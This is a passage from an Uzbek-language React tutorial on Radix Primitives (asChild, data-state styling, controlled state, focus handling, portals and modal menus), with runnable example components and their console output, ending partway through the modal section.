Mundarija (40)
- Bu darsda
- 1. Nega bu kerak?
- 2. Anatomiya: qismlar qanday bog'langan
- 2.1 Bitta Context, ko'p qism
- 2.2 Har primitivda bir xil uchlik
- 3. asChild: o'z tugmangizni trigger qilish
- 3.1 Tugma ichida tugma
- 3.2 asChild — props bolaga beriladi
- 3.3 "Jim" xato: bola props'ni yoymasa
- 3.4 Ikki trigger bitta tugmada: kimning data-state i?
- 4. Controlled va uncontrolled holat
- 4.1 Uchlik: open, defaultOpen, onOpenChange
- 4.2 Rejim o'rtada almashmasin
- 5. data-state bilan stil
- 5.1 Holat — DOM atributida
- 5.2 CSS'da va Tailwind'da
- 6. Fokus va klaviatura
- 6.1 Bobur yo'li — o'lchab ko'ramiz
- 6.2 Tab: Radix va APG farqi
- 6.3 Fokusning qaytishini boshqarish
- 7. Portal: ro'yxat qayerga chiziladi
- 7.1 Sukut bo'yicha — <body>
- 7.2 Tuzoq: konteyner chizish paytida hali yo'q
- 8. modal: menyu sahifani "o'chirganda"
- 8.1 modal={true} nima qiladi — o'lchaymiz
- 8.2 CSP: <style> ni kim to'sadi
- 8.3 Hujumchi nigohi: nega shunchaki 'unsafe-inline' qo'shmaymiz?
- 9. Radix, Base UI va React Aria
- 10. Vazifalar qadami: asChild bilan Tugma (holat 04)
- 10.1 Nima o'zgaradi
- 10.2 Tekshiruvlar
- 11. Ko'p uchraydigan xatolar
- 12. Mashqlar
- 1-mashq (oson): qaysi selektor?
- 2-mashq (o'rta): ikonka tugmani tuzating
- 3-mashq (qiyin): saqlash tugaguncha yopilmasin
- 4-mashq: Vazifalar qadami
- 13. Real ishda
- Xulosa
- Manbalar
Radix Primitives chuqur: asChild, data-state, controlled holat, fokus, portal va modal
Qisqacha: Radix primitivi xulqni beradi, ko'rinishni esa siz.
Rootholatni saqlaydi vaTriggerbilanContentni ARIA atributlari bilan bog'laydi.asChild— Radix o'z tugmasini chizmaydi, props'larini sizning komponentingizga qo'shadi (u props'ni yoyishi shart). Holat DOM'dadata-state="open"bo'lib turadi — stil shunga qarab beriladi.open+onOpenChange— controlled rejim.Portalro'yxatni boshqa joyga chizadi,modalesa qolgan sahifani "o'chiradi" va buning uchun<style>qo'shadi. Qattiq CSP'li ilovada shu sabab menyumodal={false}.
Bu darsda
- Radix qismlari bir-biri bilan qanday bog'lanishini (
aria-controls,aria-labelledby,data-state) o'z ko'zingiz bilan ko'rasiz. asChildbilan o'z tugmangizni trigger qilasiz va u nega ba'zan "jim" ishlamay qolishini bilasiz.data-state,data-side,data-highlightedbilan menyuni CSS va Tailwind'da bezaysiz.- Menyuni controlled qilasiz: tashqi tugmadan ochish, saqlash tugaguncha yopilmaslik.
- Fokus yo'lini klaviatura bilan o'lchaysiz va Radix Tab'da APG tavsiyasidan qanday farq qilishini ko'rasiz.
- Portal joyini va
modalning sahifaga nima qilishini o'lchaysiz — vavazifalarda negamodal={false}ekanini CSP bilan tushuntirasiz. - Radix, Base UI va React Aria'ni taqqoslaysiz.
Oldin bilishingiz kerak: shadcn/ui II: real ilovada asosiy komponentlar, Polymorphic komponentlar va asChild, Controlled va uncontrolled komponent API dizayni, Fokus boshqaruvi va klaviatura navigatsiyasi, Frontend xavfsizligi React'da.
1. Nega bu kerak?
Oldingi darsda vazifalar dagi menyular Radix'ga o'tdi. Hammasi ishlaydi, lekin dizaynda ikki kamchilik qoldi.
Birinchisi: «Hisobotni yuklab olish» tugmasi ilovadagi boshqa tugmalarga o'xshamaydi. Radix o'z <button> ini chizdi, bizning Tugma mizdagi 44 px balandlik, chegara va tokenlar unga tushmadi. Sardor eng oddiy yo'lni tanladi — Tugma ni trigger ichiga qo'ydi. Konsol qizarib ketdi: "tugma ichida tugma".
Ikkinchisi: Jasur aka "menyu ochiq turganda tugma ham ajralib tursin" dedi. Lekin "ochiq" holat Radix'ning ichida — biz uni qanday bilamiz?
Bu darsda Radix'ning "ichiga" kiramiz. Hayotiy o'xshatish: avtomobil. Haydash uchun rul va pedal yetadi (shadcn). Lekin nimadir g'ijirlasa, kapot ostini bilgan haydovchi uzoqqa boradi.
2. Anatomiya: qismlar qanday bog'langan
2.1 Bitta Context, ko'p qism
Compound komponentlar darsida Context bilan bog'langan Tabs yozganmiz. Radix ham shunday qurilgan. Root — Context ichida holat (open) va ikki id ni saqlaydi. Trigger va Content shu Context'dan o'qib, bir-biriga ishora qiladigan ARIA atributlarini qo'yadi:
flowchart LR
R["Root: open, id'lar (Context)"] --> T["Trigger (button)"]
R --> C["Content (role=menu)"]
T -- "aria-controls" --> C
C -- "aria-labelledby" --> T
C --> I["Item (role=menuitem)"]O'qlar — atributlar. Tugma "men shu ro'yxatni boshqaraman" deydi (aria-controls), ro'yxat "mening nomim — shu tugma matni" deydi (aria-labelledby). Malika (ekran o'quvchi) menyuga kirganda "Hisobot, menyu" ni eshitadi — nom tugmadan olingan.
Buni o'z ko'zimiz bilan tekshiramiz. «Hisobot» ni bosing: menyu ochiladi va uning ichidagi Report DOM'dan atributlarni o'qiydi:
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
function showWiring() {
const btn = document.querySelector("button");
const menu = document.querySelector("[role=menu]");
console.log(
"tugma:",
btn.getAttribute("aria-haspopup"),
btn.getAttribute("aria-expanded"),
btn.dataset.state,
);
console.log(
"aria-controls = menyu id:",
btn.getAttribute("aria-controls") === menu.id,
);
console.log(
"aria-labelledby = tugma id:",
menu.getAttribute("aria-labelledby") === btn.id,
);
console.log("menyu:", menu.dataset.state);
}
// Menyu ichida: menyu ochilganda chiziladi
function Report() {
useEffect(() => {
const timer = setTimeout(showWiring, 100);
return () => clearTimeout(timer);
}, []);
return null;
}
export default function App() {
return (
<DropdownMenu.Root modal={false}>
<DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content align="start">
<DropdownMenu.Item>CSV</DropdownMenu.Item>
<DropdownMenu.Item>JSON</DropdownMenu.Item>
<Report />
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
);
}Konsolda:
tugma: menu true open
aria-controls = menyu id: true
aria-labelledby = tugma id: true
menyu: openReport hech narsa chizmaydi — u faqat "menyu ochildi" lahzasini ushlaydi. setTimeout nega kerak? Radix ro'yxatni portal orqali chizadi va fokusni keyingi vazifada ko'chiradi. 100 ms dan keyin DOM tayyor bo'ladi. dataset.state — data-state atributining JavaScript'dagi nomi (Atributlar, xususiyatlar va dataset darsida).
Natijani o'qiymiz:
aria-haspopup="menu",aria-expanded="true"— tugma menyu ochishini va hozir ochiqligini aytadi.- Id'lar ikki tomonlama bog'langan. Id'larni
useIdyaratadi (useId darsida), biz ularni yozmadik. data-state— ARIA emas, stil uchun. U va uning "qarindoshlari" (data-side,data-align) — «data-statebilan stil» bo'limida.
2.2 Har primitivda bir xil uchlik
Bu tuzilish faqat menyuda emas. Radix'ning deyarli har ochiladigan primitivi shunday:
| Primitiv | Ildiz | Ochuvchi | Kontent |
|---|---|---|---|
| DropdownMenu | Root |
Trigger |
Content + Item |
| Dialog | Root |
Trigger |
Content + Title, Close |
| Popover | Root |
Trigger |
Content + Close |
| Tooltip | Provider + Root |
Trigger |
Content |
Hammasida Portal bor va hammasi open, defaultOpen, onOpenChange ni qabul qiladi. Bitta primitivni chuqur bilsangiz, qolganlari tanish.
Tekshirib ko'ring: Ikki menyu bir sahifada turibdi: «Hisobot» va «Foydalanuvchi». Ularning
aria-controlsid'lari to'qnashib qolmaydimi?
Javob
Yo'q. Har Root o'z id'larini useId bilan yaratadi, useId esa har komponent nusxasi uchun noyob qiymat beradi. Agar id'larni qo'lda yozganimizda (id="menyu"), ikkinchi menyu birinchisining id'sini takrorlardi va ekran o'quvchi noto'g'ri ro'yxatni o'qirdi.
3. asChild: o'z tugmangizni trigger qilish
3.1 Tugma ichida tugma
Sardorning birinchi urinishi:
<DropdownMenu.Trigger>
<Tugma>Hisobotni yuklab olish</Tugma>
</DropdownMenu.Trigger>Trigger o'zi <button> chizadi, Tugma ham <button>. DOM'da ichma-ich ikki tugma bo'ladi. React development rejimida konsolda shunday ogohlantirish chiqadi (birinchi qatorlari; davomida komponentlar zanjiri):
In HTML, <button> cannot be a descendant of <button>.
This will cause a hydration error.Tarjimasi: "HTML'da <button> boshqa <button> ning avlodi bo'la olmaydi. Bu hydration xatosiga olib keladi". Hydration — server tayyorlagan HTML'ga brauzerda React'ni "ulash" (Next.js qismida). Muhimi: brauzer HTML'ni o'qiyotganda ichki tugmani tashqisidan "chiqarib" qo'yadi, shuning uchun DOM React kutgandan boshqacha bo'ladi. Klaviatura ham chalkashadi: Tab ikki marta to'xtaydi.
3.2 asChild — props bolaga beriladi
Polymorphic komponentlar va asChild darsida Slot ni o'zimiz yozganmiz. Radix'ning asChild i aynan shu: Trigger o'z tegini chizmaydi. Uning hamma props'lari — onPointerDown, onKeyDown, aria-*, data-state, id, ref — yagona bolaga birlashtiriladi.
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
// Bizning tugmamiz: qolgan hamma props <button> ga yoyiladi,
// ref ham (React 19 da ref — oddiy prop)
function Tugma({ className = "", ...rest }) {
return (
<button
type="button"
className={`tugma ${className}`}
{...rest}
/>
);
}
export default function App() {
useEffect(() => {
const timer = setTimeout(() => {
const all = document.querySelectorAll("button");
const b = all[0];
console.log("tugmalar soni:", all.length);
console.log("class:", b.className);
console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
console.log("data-state:", b.dataset.state);
}, 100);
return () => clearTimeout(timer);
}, []);
return (
<DropdownMenu.Root modal={false}>
<DropdownMenu.Trigger asChild>
<Tugma className="hisobot">Hisobotni yuklab olish</Tugma>
</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content>
<DropdownMenu.Item>CSV</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
);
}Konsolda:
tugmalar soni: 1
class: tugma hisobot
aria-haspopup: menu
data-state: closedBitta tugma. Sinflar bizniki, ARIA va holat — Radix'niki. «Ishga tushir» dan keyin uni bosib ko'ring — menyu ochiladi, chunki Radix'ning onPointerDown i ham shu tugmada.
3.3 "Jim" xato: bola props'ni yoymasa
Endi Sardor boshqa tugma yozdi — faqat kerakli narsalarni oladigan:
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
function IconButton({ label, children }) {
return <button aria-label={label}>{children}</button>;
}
export default function App() {
useEffect(() => {
const timer = setTimeout(() => {
const b = document.querySelector("button");
console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
console.log("data-state:", b.dataset.state);
}, 100);
return () => clearTimeout(timer);
}, []);
return (
<DropdownMenu.Root modal={false}>
<DropdownMenu.Trigger asChild>
<IconButton label="Amallar">⋯</IconButton>
</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content>
<DropdownMenu.Item>Tahrirlash</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
);
}Konsolda:
aria-haspopup: null
data-state: undefinedKonsolda xato yo'q, ogohlantirish ham yo'q. Lekin «⋯» ni bosing — hech narsa bo'lmaydi. Radix props'larni IconButton ga berdi, IconButton esa ularni tashlab yubordi: faqat label va children ni oldi. onPointerDown ham, aria-expanded ham <button> gacha yetmadi.
Ikki xil "yo'q" ga e'tibor bering: getAttribute yo'q atribut uchun null qaytaradi, dataset esa — undefined. Ma'nosi bir xil: atribut yo'q.
Qoida 18-qismdagidek: asChild bolasi bo'ladigan komponent qolgan props'ni o'z elementiga yoyadi ({...rest}) va ref ni o'tkazadi. vazifalar dagi Tugma Komponent API'sini loyihalash darsidan beri shunday yozilgan (...qolgan) — shuning uchun bugungi qadam ikki qatorlik.
3.4 Ikki trigger bitta tugmada: kimning data-state i?
asChild ning kuchi — xulqlarni ustma-ust qo'yish: bitta tugmada ham tooltip, ham menyu. Lekin ikkala primitiv ham data-state qo'yadi. Qaysi biri yutadi? Avval tooltip tashqarida, menyu ochiq holda:
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
import * as Tooltip from "@radix-ui/react-tooltip";
function useLogState() {
useEffect(() => {
const timer = setTimeout(() => {
const b = document.querySelector("button");
console.log("menyu ochiq, data-state:", b.dataset.state);
}, 100);
return () => clearTimeout(timer);
}, []);
}
function Menu({ children }) {
return (
<DropdownMenu.Root defaultOpen modal={false}>
{children}
<DropdownMenu.Portal>
<DropdownMenu.Content>
<DropdownMenu.Item>CSV</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
);
}
export default function App() {
useLogState();
return (
<Tooltip.Provider>
<Menu>
<Tooltip.Root>
<Tooltip.Trigger asChild>
<DropdownMenu.Trigger asChild>
<button>Hisobot</button>
</DropdownMenu.Trigger>
</Tooltip.Trigger>
</Tooltip.Root>
</Menu>
</Tooltip.Provider>
);
}Konsolda:
menyu ochiq, data-state: closedMenyu ochiq, lekin tugma "closed" deyapti — bu tooltipning holati! Endi tartibni almashtiramiz — menyu tashqarida:
export default function App() {
useLogState();
return (
<Tooltip.Provider>
<Menu>
<Tooltip.Root>
<DropdownMenu.Trigger asChild>
<Tooltip.Trigger asChild>
<button>Hisobot</button>
</Tooltip.Trigger>
</DropdownMenu.Trigger>
</Tooltip.Root>
</Menu>
</Tooltip.Provider>
);
}Konsolda:
menyu ochiq, data-state: openSabab — props birlashish tartibi. Tashqi trigger o'z data-state ini bolaga prop qilib beradi. Ichki trigger o'z qiymatini qo'yadi, lekin kelgan props'ni undan keyin yoyadi — natijada tashqisiniki yutadi.
Amaliy qoida: stil beriladigan holat egasi — tashqarida. Menyu ochiqligida tugma rangi o'zgarsin desangiz, DropdownMenu.Trigger tashqi qavat bo'lsin. Hodisalar esa ikkala tartibda ham birlashadi: tooltip ham, menyu ham ishlayveradi.
Tekshirib ko'ring:
IconButtonni tuzatish uchun eng kam o'zgarish qanday?aria-labelsaqlanib qolsinmi?
Javob
function IconButton({ label, ...rest }) {
return <button aria-label={label} {...rest} />;
}children ham rest ichida keladi, alohida yozish shart emas. aria-label saqlanadi — Radix uni bermaydi, to'qnashuv yo'q. React 19 da ref ham rest bilan keladi va <button> ga yetadi. React 18 da buning uchun forwardRef kerak edi.
4. Controlled va uncontrolled holat
4.1 Uchlik: open, defaultOpen, onOpenChange
Controlled va uncontrolled API darsida value, defaultValue, onValueChange uchligini va useControllableState hookini yozganmiz. Radix'da hook aynan shu nom bilan bor va har primitivda ishlatiladi:
defaultOpen— uncontrolled: boshlang'ich qiymat, keyin Radix o'zi boshqaradi.open+onOpenChange— controlled: holat sizda, Radix faqat "ochilmoqchi" yoki "yopilmoqchi" deb xabar beradi.
Controlled qachon kerak? Menyuni tashqi sabab ochganda (klaviatura yorlig'i, boshqa tugma) yoki yopilishini siz hal qilganda. «Bahor» kassasida: "Ochish" tugmasi menyuni ochadi, band tanlanganda menyu yopiladi:
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
export default function App() {
const [open, setOpen] = useState(false);
function changeOpen(next) {
console.log("onOpenChange:", next);
setOpen(next);
}
return (
<div>
<button onClick={() => setOpen(true)}>Ochish</button>{" "}
<DropdownMenu.Root
open={open}
onOpenChange={changeOpen}
modal={false}
>
<DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content>
<DropdownMenu.Item onSelect={() => console.log("CSV")}>
CSV
</DropdownMenu.Item>
<DropdownMenu.Item onSelect={() => console.log("JSON")}>
JSON
</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
<p>open: {String(open)}</p>
</div>
);
}Konsolda:
JSON
onOpenChange: falseEkranda:
Ochish Hisobot
open: falseTartibga qarang: avval onSelect (JSON), keyin onOpenChange(false). «Ochish» bosilganda onOpenChange chaqirilmadi — holatni biz o'zimiz o'zgartirdik, Radix faqat ko'rsatdi. Radix "yopilmoqchiman" deganda esa qaror bizda: setOpen(next) ni chaqirmasak, menyu yopilmaydi. Bu 18-qismdagi control props — "ota «yo'q» deya oladi" naqshi.
4.2 Rejim o'rtada almashmasin
Ko'p uchraydigan tuzoq: open ba'zan qiymat, ba'zan undefined bo'lib qoladi. Masalan open={settings.menuOpen} va settings hali yuklanmagan. Radix buni sezadi:
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
export default function App() {
const [open, setOpen] = useState(false);
const [controlled, setControlled] = useState(true);
return (
<div>
<button onClick={() => setControlled(false)}>
Rejimni buzish
</button>
<DropdownMenu.Root
open={controlled ? open : undefined}
onOpenChange={setOpen}
modal={false}
>
<DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
</DropdownMenu.Root>
</div>
);
}Konsolda:
DropdownMenu is changing from controlled to uncontrolled. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.Tarjimasi: "DropdownMenu controlled'dan uncontrolled'ga o'tyapti. Komponent rejimini almashtirmasligi kerak — butun umri davomida bittasini tanlang". 18/#27 dagi useControllableState ham xuddi shu ogohlantirishni bergan edi. Davosi — open={settings.menuOpen ?? false}: qiymat hech qachon undefined bo'lmasin.
5. data-state bilan stil
5.1 Holat — DOM atributida
Radix holatni data-atribut qilib DOM'ga yozadi. data- bilan boshlanadigan atributlar dataset darsidan tanish: brauzer ularga ma'no bermaydi, CSS esa atribut selektori bilan topadi. Shunday qilib JavaScript'dagi holat CSS'ga "ko'prik" orqali yetadi:
| Atribut | Qayerda | Qiymatlari |
|---|---|---|
data-state |
Trigger, Content | open, closed (Checkbox/Radio band: checked, unchecked) |
data-side |
Content | top, bottom, left, right — qayerda ochildi |
data-align |
Content | start, center, end |
data-highlighted |
Item | hozir fokusdagi band |
data-disabled |
Item, Trigger | o'chirilgan |
data-side nega kerak? Siz side="bottom" desangiz ham, pastda joy bo'lmasa, Floating UI ro'yxatni tepaga ag'daradi. data-side="top" bo'ladi — animatsiya yo'nalishini shunga qarab tanlaysiz.
Bundan tashqari Radix Content'ga CSS o'zgaruvchilarini beradi: --radix-dropdown-menu-trigger-width (tugma eni), --radix-dropdown-menu-content-available-height (ekranda qolgan balandlik) va --radix-dropdown-menu-content-transform-origin (animatsiya qaysi nuqtadan "o'sishi").
5.2 CSS'da va Tailwind'da
Jonli misolda oddiy CSS, ostida Tailwind'dagi o'sha qoidalar:
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
const css = `
.trigger { padding: 8px 12px; border: 2px solid #999;
border-radius: 8px; background: #fff; color: #111; }
.trigger[data-state="open"] { border-color: #1d4ed8; }
.menu { min-width: var(--radix-dropdown-menu-trigger-width);
padding: 4px; border: 1px solid #bbb; background: #fff;
color: #111; border-radius: 8px; }
.item { padding: 8px 12px; outline: none; }
.item[data-highlighted] { background: #1d4ed8; color: #fff; }
.item[data-disabled] { opacity: 0.5; }
`;
export default function App() {
return (
<div>
<style>{css}</style>
<DropdownMenu.Root modal={false}>
<DropdownMenu.Trigger className="trigger">
Hisobotni yuklab olish
</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content className="menu" align="start">
<DropdownMenu.Item className="item">
CSV
</DropdownMenu.Item>
<DropdownMenu.Item className="item">
JSON
</DropdownMenu.Item>
<DropdownMenu.Item className="item" disabled>
PDF (tez kunda)
</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
</div>
);
}Ekranda (tugma bosilgach):
Hisobotni yuklab olish
CSV
JSON
PDF (tez kunda)«Ishga tushir» dan keyin tugmani bosing va qarang: tugma chegarasi ko'k (open), ro'yxat tugmadan tor emas, PDF xira. Esc bosing — chegara kulrangga qaytadi. Biz holat uchun bitta ham useState yozmadik.
Tailwind v4 da (loyihada, Tailwind CSS 2: variantlar darsidagi variantlar):
| CSS | Tailwind |
|---|---|
[data-state="open"] |
data-[state=open]:border-asosiy |
[data-highlighted] |
data-highlighted:bg-asosiy |
[data-disabled] |
data-disabled:opacity-50 |
[data-side="top"] |
data-[side=top]:origin-bottom |
Qiymatsiz atribut (data-highlighted) — qisqa yozuv, qiymatli (state=open) — kvadrat qavsda.
Maslahat:
.item:hoveryozish shart emas. Radix sichqoncha ustiga kelgan bandga fokusni o'tkazadi vadata-highlightedqo'yadi. Bitta qoida sichqoncha va klaviaturani birga bezaydi.:hoverva:focusni alohida yozsangiz, sichqoncha bir bandda, fokus boshqasida — ikkita band yonib turadi.
Tekshirib ko'ring: Dizayner menyu ochilganda tugmaning pastki burchaklari to'g'ri bo'lishini, menyu tepaga ochilganda esa ro'yxatning pastki burchaklari to'g'ri bo'lishini so'radi. Qaysi atributlar kerak?
Javob
Tugma uchun — [data-state="open"] (Trigger'da). Ro'yxat uchun — [data-side="top"] (Content'da): pastda joy bo'lmasa Floating UI ro'yxatni tepaga ag'daradi va data-side ni o'zgartiradi. side="top" ni qo'lda yozib qo'yish yetmaydi — haqiqiy joylashuvni faqat data-side biladi.
6. Fokus va klaviatura
6.1 Bobur yo'li — o'lchab ko'ramiz
Fokus boshqaruvi darsidagi uch qoida: ochilganda fokus ichkariga, ichida boshqariladi, yopilganda tugmaga qaytadi. Radix ularni bajaradimi? «Ishga tushir» dan keyin natija oynasini bosing va tering: Tab, Enter, ↓, ↓, End, Tab, Esc. Blok har tugmadan keyin fokus qayerdaligini yozadi:
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
// Har tugma qo'yib yuborilgach: fokus qayerda?
// Radix fokusni keyingi vazifada ko'chiradi — 100 ms kutamiz
function useFocusLog() {
useEffect(() => {
function onKeyUp(e) {
setTimeout(() => {
const focused = document.activeElement.textContent;
console.log(`${e.key} → fokus: ${focused}`);
}, 100);
}
document.addEventListener("keyup", onKeyUp);
return () => document.removeEventListener("keyup", onKeyUp);
}, []);
}
export default function App() {
useFocusLog();
return (
<DropdownMenu.Root modal={false}>
<DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content loop>
<DropdownMenu.Item>CSV</DropdownMenu.Item>
<DropdownMenu.Item>JSON</DropdownMenu.Item>
<DropdownMenu.Item disabled>PDF</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
);
}Konsolda:
Tab → fokus: Hisobot
Enter → fokus: CSV
ArrowDown → fokus: JSON
ArrowDown → fokus: CSV
End → fokus: JSON
Tab → fokus: JSON
Escape → fokus: HisobotNima bo'ldi? Jadvalda — har qadam:
| Qadam | Fokus | Menyu |
|---|---|---|
| Tab | «Hisobot» tugmasi | yopiq |
| Enter | CSV — birinchi band | ochildi |
| ↓ | JSON | ochiq |
| ↓ | CSV — PDF o'tkazib yuborildi (disabled), loop boshiga qaytardi |
ochiq |
| End | JSON — o'chirilgan PDF fokus olmaydi | ochiq |
| Tab | JSON — joyidan qimirlamadi | ochiq |
| Esc | «Hisobot» ga qaytdi | yopildi |
Uch qoida bajarildi: fokus ichkariga kirdi, strelkalar bilan yurdi, Esc'da tugmaga qaytdi. Harf bilan qidirish (typeahead) ham bor: «j» — JSON'ga; o'zingiz sinang.
100 ms kutish shart: Radix fokusni keyingi vazifada (setTimeout) ko'chiradi. Oldingi darsdagi fokusKut ham shu sababli.
6.2 Tab: Radix va APG farqi
Jadvaldagi oltinchi qatorda Tab hech narsa qilmadi. Bu tasodif emas: Radix menyu kodida (Content ning onKeyDown i) Tab'da preventDefault() chaqiriladi. Haqiqiy Chrome 155 da ham shunday — kanon sinovi tasdiqlagan.
WAI-ARIA APG (Menu va Menubar naqshi) esa boshqacha tavsiya qiladi: menyudagi bandda Tab bosilsa, fokus menyudan chiqadi va hamma ochiq menyular yopiladi. Ya'ni:
| Tab menyu ichida | |
|---|---|
| APG tavsiyasi | fokus sahifadagi keyingi elementga, menyu yopiladi |
| Radix 2.1.25 | fokus bandda qoladi, menyu ochiq |
Bobur qamalib qolmaydi: chiqish yo'li — Esc yoki band tanlash. Lekin APG'ga o'rgangan foydalanuvchi Tab bilan chiqishni kutadi. Xulosa: "a11y'li kutubxona" — APG'ning har bandi degani emas. Testlaringiz sizga kerak xulqni tekshirsin.
6.3 Fokusning qaytishini boshqarish
Ba'zan fokus tugmaga emas, boshqa joyga borishi kerak. Masalan, «Tahrirlash» tanlandi — fokus tahrir maydoniga o'tsin. Buning uchun Content da onCloseAutoFocus bor:
<DropdownMenu.Content
onCloseAutoFocus={(e) => {
e.preventDefault(); // tugmaga qaytarma
inputRef.current?.focus(); // o'zim qo'yaman
}}
>Shu oiladagi boshqa hodisalar: onEscapeKeyDown (Esc), onPointerDownOutside (tashqariga bosish), onInteractOutside (ikkalasi). Har birida e.preventDefault() — "bu safar yopilma". Ularni kamdan-kam ishlating: Esc yopmaydigan menyu — Bobur uchun tuzoq.
7. Portal: ro'yxat qayerga chiziladi
7.1 Sukut bo'yicha — <body>
Portal ro'yxatni <body> oxiriga chizadi (Portallar darsidagi createPortal). Ota-elementning overflow i uni kesmaydi. React daraxtida esa u o'z joyida: Context ishlaydi, hodisalar React daraxti bo'ylab ko'tariladi.
Lekin <body> oxiri — sahifa landmarklarining (<header>, <main>, <nav>) tashqarisi. Landmark — ekran o'quvchi sahifa bo'ylab sakrab yuradigan asosiy hududlar (React'da accessibility). axe buni "region" qoidasi bilan ushlaydi — kanonning birinchi o'lchovi (holat 03, portal <body> da):
## statistika paneli + menyu ochiq: buzilish 1, o'tgan qoida 49
✗ region [moderate] ×1: div[data-radix-popper-content-wrapper=""]data-radix-popper-content-wrapper — Radix ro'yxatni o'raydigan div. U hech qaysi landmark ichida emas. Shuning uchun kanonda container={portalJoyi()} — ro'yxat <main> oxiriga chiziladi va axe — 0. Joylashuv buzilmaydi: Floating UI ro'yxatni position: fixed bilan ekran koordinatasida qo'yadi, DOM'dagi joyi ahamiyatsiz.
7.2 Tuzoq: konteyner chizish paytida hali yo'q
container ni ham o'z komponentingizda bersangiz-chi? Jasur aka shunday yozdi:
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
export default function App() {
useEffect(() => {
const timer = setTimeout(() => {
const menu = document.querySelector("[role=menu]");
console.log("<main> ichidami:", menu.closest("main") !== null);
}, 100);
return () => clearTimeout(timer);
}, []);
return (
<main>
<DropdownMenu.Root defaultOpen modal={false}>
<DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
{/* ❌ chizish paytida DOM'dan o'qish */}
<DropdownMenu.Portal
container={document.querySelector("main")}
>
<DropdownMenu.Content>
<DropdownMenu.Item>CSV</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
</main>
);
}Konsolda:
<main> ichidami: falsedocument.querySelector("main") chizish paytida chaqirildi. Bu birinchi chizish edi: React hali <main> ni DOM'ga qo'ymagan, natija — null. container={null} bo'lsa, Radix sukut bo'yicha <body> ni oladi. Xato ham, ogohlantirish ham yo'q — ro'yxat jim <body> ga ketdi.
Davosi — elementni React'ning o'zidan olish. Callback ref (useRef II) element DOM'ga tushganda chaqiriladi, useState esa qayta chizishni boshlaydi:
import { useEffect, useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
export default function App() {
const [main, setMain] = useState(null);
useEffect(() => {
const timer = setTimeout(() => {
const menu = document.querySelector("[role=menu]");
console.log("<main> ichidami:", menu.closest("main") !== null);
}, 100);
return () => clearTimeout(timer);
}, []);
return (
<main ref={setMain}>
<DropdownMenu.Root defaultOpen modal={false}>
<DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
<DropdownMenu.Portal container={main}>
<DropdownMenu.Content>
<DropdownMenu.Item>CSV</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
</main>
);
}Konsolda:
<main> ichidami: trueKanondagi portalJoyi() nega ishlaydi? Uning menyulari ochiq holda boshlanmaydi. Content faqat odam bosgandan keyin chiziladi, <main> esa allaqachon DOM'da. Bizning misolda defaultOpen hamma narsani birinchi chizishga yig'di. Qoida: chizish paytida DOM'dan o'qiyotgan kod — mo'rt. Konteyner uchun ref yoki state ishonchliroq.
8. modal: menyu sahifani "o'chirganda"
8.1 modal={true} nima qiladi — o'lchaymiz
Radix'da menyuning standart rejimi — modal. Modal menyu ochiq turganda uch ish qiladi. Ularni o'z ko'zimiz bilan ko'ramiz: menyuni tashqi tugma bilan ochamiz va oldin hamda keyin sahifani tekshiramiz.
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
function inspectPage(label) {
const root = document.getElementById("root");
console.log(
label,
"| body:",
document.body.style.pointerEvents || "—",
"| <style>:",
document.querySelectorAll("style").length,
"| #root aria-hidden:",
root.getAttribute("aria-hidden") ?? "—",
);
}
function Demo({ modal }) {
const [open, setOpen] = useState(false);
function openMenu() {
inspectPage("oldin");
setOpen(true);
setTimeout(() => inspectPage("keyin"), 100);
}
return (
<div>
<button onClick={openMenu}>Menyuni ochish</button>
<DropdownMenu.Root
open={open}
onOpenChange={setOpen}
modal={modal}
>
<DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content>
<DropdownMenu.Item>CSV</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
</div>
);
}
export default function App() {
return <Demo modal={true} />;
}Konsolda:
oldin | body: — | <style>: 2 | #root aria-hidden: —
keyin | body: none | <style>: 3 | #root aria-hidden: trueUchta o'zgarish:
